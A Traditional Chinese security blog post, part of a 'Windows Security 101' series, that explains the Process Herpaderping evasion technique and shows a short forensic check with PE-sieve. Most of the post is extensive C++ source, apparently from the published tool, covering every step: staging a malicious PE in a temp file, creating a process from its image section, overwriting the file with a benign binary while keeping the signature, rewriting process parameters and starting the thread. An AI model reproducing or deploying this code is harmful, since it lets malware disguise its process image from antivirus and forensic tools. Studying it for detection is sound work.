iT邦幫忙

2023 iThome 鐵人賽

DAY 10
0
Security

Windows Security 101系列 第 10

[Day10] Process Injection Party (Part 4): Process Herpaderping

  • 分享至 

  • xImage
  •  

Process Herpaderping 這個技巧是由 jxy-s 在 2020 年提出,這個技巧不會很複雜,也並沒有太深層的技術細節需要理解,所以就簡單的介紹程式碼的流程。

Process Herpaderping

以下是 Process Herpaderping 的步驟:

1. Copy the malicious PE to the temp file

先將 malicious PE 複製到 temp filepath

    //
    // Open the source binary and the target file we will execute it from.
    //
    wil::unique_handle sourceHandle;
    sourceHandle.reset(CreateFileW(SourceFileName.c_str(),
                                   GENERIC_READ,
                                   FILE_SHARE_READ | 
                                       FILE_SHARE_WRITE | 
                                       FILE_SHARE_DELETE,
                                   nullptr,
                                   OPEN_EXISTING,
                                   FILE_ATTRIBUTE_NORMAL,
                                   nullptr));
    if (!sourceHandle.is_valid())
    {
        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                         GetLastError(), 
                                         L"Failed to open source file"));
    }

    DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
    if (FlagOn(Flags, FlagHoldHandleExclusive))
    {
        Utils::Log(Log::Information, 
                   L"Creating target file with exclusive access");
        shareMode = 0;
    }

    wil::unique_handle targetHandle;
    targetHandle.reset(CreateFileW(TargetFileName.c_str(),
                                   GENERIC_READ | GENERIC_WRITE,
                                   shareMode,
                                   nullptr,
                                   CREATE_ALWAYS,
                                   FILE_ATTRIBUTE_NORMAL,
                                   nullptr));
    if(!targetHandle.is_valid())
    {
        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                         GetLastError(), 
                                         L"Failed to create target file"));
    }

    //
    // Copy the content of the source process to the target.
    //
    HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),
                                         targetHandle.get());
    if (FAILED(hr))
    {
        Utils::Log(Log::Error,
                   hr,
                   L"Failed to copy source binary to target file");
        RETURN_HR(hr);
    }

    Utils::Log(Log::Information, L"Copied source binary to target file");

    //
    // We're done with the source binary.
    //
    sourceHandle.reset();

2. Create section with the temp file

用剛剛複製的 temp file 建立 section,實際上這個 section 會是 malicious PE 的內容

    //
    // Map and create the target process. We'll make it all derpy in a moment...
    //
    wil::unique_handle sectionHandle;
    auto status = NtCreateSection(&sectionHandle,
                                  SECTION_ALL_ACCESS,
                                  nullptr,
                                  nullptr,
                                  PAGE_READONLY,
                                  SEC_IMAGE,
                                  targetHandle.get());
    if (!NT_SUCCESS(status))
    {
        sectionHandle.release();
        RETURN_NTSTATUS(Utils::Log(
                              Log::Error, 
                              status, 
                              L"Failed to create target file image section"));
    }

    Utils::Log(Log::Information, L"Created image section for target");

3. Create process with the section

用剛建立的 section 建立 process,這時候的 process 依然是裝載著 malicious PE

    status = NtCreateProcessEx(&processHandle,
                               PROCESS_ALL_ACCESS,
                               nullptr,
                               NtCurrentProcess(),
                               PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
                               sectionHandle.get(),
                               nullptr,
                               nullptr,
                               0);
    if (!NT_SUCCESS(status))
    {
        processHandle.release();
        RETURN_NTSTATUS(Utils::Log(Log::Error, 
                                   status, 
                                   L"Failed to create process"));
    }

    Utils::Log(Log::Information,
               L"Created process object, PID %lu",
               GetProcessId(processHandle.get()));

3. Overwrite the temp file with the benign PE

覆寫 temp file,這邊作者提共了兩種模式:

  1. 用 Benign file 覆寫 temp file
  2. 用一段 random 值覆寫 temp file
    //
    // Alright we have the process set up, we don't need the section.
    //
    sectionHandle.reset();

    //
    // Go get the remote entry RVA to create a thread later on.
    //
    uint32_t imageEntryPointRva;
    hr = Utils::GetImageEntryPointRva(targetHandle.get(),
                                      imageEntryPointRva);
    if (FAILED(hr))
    {
        Utils::Log(Log::Error, 
                   hr, 
                   L"Failed to get target file image entry RVA");
        RETURN_HR(hr);
    }

    Utils::Log(Log::Information,
               L"Located target image entry RVA 0x%08x",
               imageEntryPointRva);

    //
    // Alright, depending on the parameter passed in. We will either:
    //   A. Overwrite the target binary with another.
    //   B. Overwrite the target binary with a pattern.
    //
    if (ReplaceWithFileName.has_value())
    {
        //
        // (A) We are overwriting the binary with another file.
        //
        Utils::Log(Log::Success,
                   L"Replacing target with \"%ls\"",
                   ReplaceWithFileName->c_str());

        wil::unique_handle replaceWithHandle;
        replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),
                                            GENERIC_READ,
                                            FILE_SHARE_READ |
                                                FILE_SHARE_WRITE |
                                                FILE_SHARE_DELETE,
                                            nullptr,
                                            OPEN_EXISTING,
                                            FILE_ATTRIBUTE_NORMAL,
                                            nullptr));

        if (!replaceWithHandle.is_valid())
        {
            RETURN_LAST_ERROR_SET(Utils::Log(
                                        Log::Error, 
                                        GetLastError(), 
                                        L"Failed to open replace with file"));
        }

        //
        // Replace the bytes. We handle a failure here. We'll fix it up after.
        //
        hr = Utils::CopyFileByHandle(replaceWithHandle.get(),
                                     targetHandle.get(),
                                     FlagOn(Flags, FlagFlushFile));
        if (FAILED(hr))
        {
            if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
            {
                Utils::Log(Log::Error, 
                           hr,
                           L"Failed to replace target file");
                RETURN_HR(hr);
            }

            //
            // This error occurs when trying to truncate a file that has a
            // user mapping open. In other words, the file we tried to replace
            // with was smaller than the original.
            // Let's fix up the replacement to hide the original bytes and 
            // retain any signer info.
            //
            Utils::Log(Log::Information,
                       L"Fixing up target replacement, "
                       L"hiding original bytes and retaining any signature");

            uint64_t replaceWithSize;
            hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
            if (FAILED(hr))
            {
                Utils::Log(Log::Error, 
                           hr,
                           L"Failed to get replace with file size");
                RETURN_HR(hr);
            }

            uint32_t bytesWritten = 0;
            hr = Utils::OverwriteFileAfterWithPattern(
                                                targetHandle.get(),
                                                replaceWithSize,
                                                Pattern,
                                                bytesWritten,
                                                FlagOn(Flags, FlagFlushFile));
            if (FAILED(hr))
            {
                Utils::Log(Log::Warning, 
                           hr,
                           L"Failed to hide original file bytes");
            }
            else
            {
                hr = Utils::ExtendFileSecurityDirectory(
                                                targetHandle.get(),
                                                bytesWritten,
                                                FlagOn(Flags, FlagFlushFile));
                if (FAILED(hr))
                {
                    Utils::Log(Log::Warning,
                               hr,
                               L"Failed to retain file signature");
                }
            }
        }
    }
    else
    {
        //
        // (B) Just overwrite the target binary with a pattern.
        //
        Utils::Log(Log::Success, L"Overwriting target with pattern");

        hr = Utils::OverwriteFileContentsWithPattern(
                                                targetHandle.get(),
                                                Pattern,
                                                FlagOn(Flags, FlagFlushFile));
        if (FAILED(hr))
        {
            Utils::Log(Log::Error, 
                       hr, 
                       L"Failed to write pattern over file");
            RETURN_HR(hr);
        }
    

4. Get entrypoint and modify process parameters

這個步驟會做兩件事:

  1. 從 PEB 找到 process 的 entrypoint
  2. 修改 process parameter 為 temp filepath
    //
    // Alright, at this point the process is going to be derpy enough.
    // Do the work necessary to make it execute.
    //
    Utils::Log(Log::Success, L"Preparing target for execution");

    PROCESS_BASIC_INFORMATION pbi{};
    status = NtQueryInformationProcess(processHandle.get(),
                                       ProcessBasicInformation,
                                       &pbi,
                                       sizeof(pbi),
                                       nullptr);
    if (!NT_SUCCESS(status))
    {
        RETURN_NTSTATUS(Utils::Log(Log::Error, 
                                   status, 
                                   L"Failed to query new process info"));
    }

    PEB peb{};
    if (!ReadProcessMemory(processHandle.get(),
                           pbi.PebBaseAddress,
                           &peb,
                           sizeof(peb),
                           nullptr))
    {
        RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, 
                                         GetLastError(), 
                                         L"Failed to read remote process PEB"));
    }

    Utils::Log(Log::Information,
               L"Writing process parameters, remote PEB ProcessParameters 0x%p",
               Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));

    hr = Utils::WriteRemoteProcessParameters(
                               processHandle.get(),
                               TargetFileName,
                               std::nullopt,
                               std::nullopt,
                               (L"\"" + TargetFileName + L"\""),
                               NtCurrentPeb()->ProcessParameters->Environment,
                               TargetFileName,
                               L"WinSta0\\Default",
                               std::nullopt,
                               std::nullopt);
    if (FAILED(hr))
    {
        Utils::Log(Log::Error, 
                   hr, 
                   L"Failed to write remote process parameters");
        RETURN_HR(hr);
    }

    if (FlagOn(Flags, FlagCloseFileEarly))
    {
        //
        // Caller wants to close the file early, before the notification
        // callback in the kernel would fire, do so.
        //
        targetHandle.reset();
    }

5. Create thread

從 PEB 取得 entrypoint 後,就可以執行該 process 的第一條 thread

    //
    // Create the initial thread, when this first thread is inserted the
    // process create callback will fire in the kernel.
    //
    void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);

    Utils::Log(Log::Information,
               L"Creating thread in process at entry point 0x%p",
               remoteEntryPoint);

    wil::unique_handle threadHandle;
    status = NtCreateThreadEx(&threadHandle,
                              THREAD_ALL_ACCESS,
                              nullptr,
                              processHandle.get(),
                              remoteEntryPoint,
                              nullptr,
                              0,
                              0,
                              0,
                              0,
                              nullptr);
    if (!NT_SUCCESS(status))
    {
        threadHandle.release();
        RETURN_NTSTATUS(Utils::Log(Log::Error, 
                                   status, 
                                   L"Failed to create remote thread"));
    }

    Utils::Log(Log::Information,
               L"Created thread, TID %lu",
               GetThreadId(threadHandle.get()));

Result

https://ithelp.ithome.com.tw/upload/images/20230924/20120098BXcTfQQ6Dh.png

https://ithelp.ithome.com.tw/upload/images/20230924/201200981XbPEZRoC6.png

可以看到這邊會有一樣的老問題是,GUI 沒有被成功顯示,這也是 NtCreateProcessEx + NtCreateThreadEx 取代 CreateProcess 的問題。不過結果蠻成功的,可以看到 Autoruns64.exe 偽裝成 dbgview64.exe 執行。

用 PE-sieve 一樣可以 dump 原始的 image file

https://ithelp.ithome.com.tw/upload/images/20230924/20120098EEWTemEK0N.png

用 CFF Explorer 開啟可以看到是 Autoruns64.exe

這個技巧可以讓 process 被建立後很難去辨識該 process 的 image file 是不是 malicious,從 process parameters 和 image file 本身都無法判斷。在 forensics 的時候可能還是需要 PE-sieve 這種對整個 process 的 memory 做分析的工具才有可能判斷是不是惡意程式。

下一篇,我要介紹的是 Process Ghosting!

References


上一篇
[Day9] Process Injection Party (Part 3): Process Reimaging
下一篇
[Day11] Process Injection Party (Part 5): Process Ghosting
系列文
Windows Security 10130
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言